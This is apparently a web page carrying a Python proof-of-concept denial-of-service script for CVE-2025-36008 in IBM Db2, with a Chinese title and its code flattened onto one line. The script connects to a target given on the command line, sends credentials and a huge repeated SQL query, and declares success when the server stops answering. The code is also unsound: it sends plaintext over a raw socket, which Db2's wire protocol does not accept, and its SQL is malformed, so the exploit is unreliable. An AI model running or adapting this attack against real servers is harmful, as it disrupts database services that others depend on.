CVE-2025-36008 IBM Db2 资源分配不当导致拒绝服务漏洞

# CVE-2025-36008 PoC - IBM Db2 DoS via Resource Exhaustion # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires valid credentials and specific conditions import socket import sys def create_malicious_payload(): """ Generate a payload that triggers resource exhaustion in IBM Db2 This payload exploits improper resource allocation in query processing """ # Construct SQL query that may trigger resource exhaustion # Specific payload depends on detailed vulnerability analysis payload = b"SELECT " + b"REPEAT('A', 10000), " * 1000 + b"FROM sysibm.sysdummy1" return payload def connect_and_exploit(target_host, target_port=50000, username="demo", password="demo"): """ Connect to IBM Db2 server and send malicious payload Args: target_host: Target IBM Db2 server IP/hostname target_port: Db2 service port (default 50000) username: Valid database username password: Corresponding password """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Step 1: Authentication auth_packet = f"CONNECT TO DBNAME USER {username} USING {password}" sock.send(auth_packet.encode()) # Step 2: Send malicious payload payload = create_malicious_payload() sock.send(payload) print(f"[*] Payload sent to {target_host}:{target_port}") print(f"[*] Waiting for service response...") # Step 3: Monitor for DoS condition sock.settimeout(5) try: response = sock.recv(4096) if not response: print("[+] Service appears to be unresponsive - DoS successful") except socket.timeout: print("[+] No response received - potential DoS condition") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 print(f"[*] CVE-2025-36008 PoC for IBM Db2 DoS") print(f"[*] Target: {target}:{port}") connect_and_exploit(target, port)